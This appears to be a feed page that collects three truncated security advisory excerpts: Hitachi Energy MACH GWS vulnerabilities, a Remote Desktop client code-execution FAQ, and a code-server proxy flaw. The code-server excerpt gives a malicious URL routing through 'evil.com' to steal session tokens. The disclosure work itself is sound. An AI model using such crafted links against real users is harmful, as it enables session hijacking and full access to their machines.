#mac

View CSAF 1. EXECUTIVE SUMMARY CVSS v4 9.4 ATTENTION: Exploitable remotely/low attack complexity Vendor: Hitachi Energy Equipment: MACH GWS products Vulnerabilities: Improper Neutralization of Special Elements in Data Query Logic, Improper Limitation of a Pathname to a Restricted Directory, Authentication Bypass by Capture-replay, Missing Authentication for Critical Function 2. RISK EVALUATION Successful exploitation of these vulnerabilities could allow an attacker to inject code, read or modify files, hijack user sessions, or access exposed ports without authentication. 3. TECHNICAL DETAILS 3.1 AFFECTED PRODUCTS The following versions of Hitachi Energy products are affected: MACH GWS: Version 2.1.0.0 (CVE-2024-4872, CVE-2024-3980) MACH GWS: Versions 2.2.0.0 to 2.4.0.0 (CVE-2024-4872, CVE-2024-3980) MACH GWS: Versions 3.0.0.0 to 3.3.0.0 (CVE-2024-4872, CVE-2024-3980, CVE-2024-3982) MACH GWS: Versions 3.1.0.0 to 3.3.0.0 (CVE-2024-7940) 3.2 VULNERABILITY OVERVIEW 3.2.1 IMPROPER NEUTRALIZ...

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**According to the CVSS metric, the attack complexity is high (AC:H). What does that mean for this vulnerability?** Successful exploitation of this vulnerability requires an attacker to prepare the target environment to improve exploit reliability.

**How could an attacker exploit this vulnerability?** In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the RDP client machine when a victim connects to the attackers server with the vulnerable Remote Desktop Client.

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### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. ### Patches Patched versions are from...